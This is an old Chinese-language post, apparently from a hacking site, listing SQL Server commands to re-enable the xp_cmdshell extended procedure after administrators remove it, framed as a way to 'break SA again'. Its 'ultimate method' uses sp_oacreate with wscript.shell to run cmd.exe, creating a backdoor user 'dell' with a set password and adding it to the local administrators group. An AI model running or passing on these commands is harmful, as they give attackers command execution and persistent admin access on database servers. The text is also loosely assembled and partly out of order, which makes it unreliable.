恢復(fù)xp_cmdshell的N個(gè)方法2007-11-15 14:38:39
標(biāo)簽:
技術(shù)文章 [
推送到技術(shù)圈]
方法1:查詢分離器連接后
第一步執(zhí)行:use master
第二步執(zhí)行:sp_dropextendedproc 'xp_cmdshell'
然后按F5鍵命令執(zhí)行完畢
三.常見情況恢復(fù)執(zhí)行xp_cmdshell.
1 未能找到存儲(chǔ)過程'master..xpcmdshell'.
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無法在庫 xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復(fù),請(qǐng)嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
技術(shù)}再次突破SA的方法
文章連接:
http://www.bycnboy.com/article.asp?id=461------------------------------------------------------------------------------------------------------------------------
xp_cmdshell新的恢復(fù)辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣可以直接恢復(fù),不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴(kuò)展存儲(chǔ)過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
開啟cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲(chǔ)擴(kuò)展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
恢復(fù)xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql語句
sp_dropextendedproc "xp_cmdshell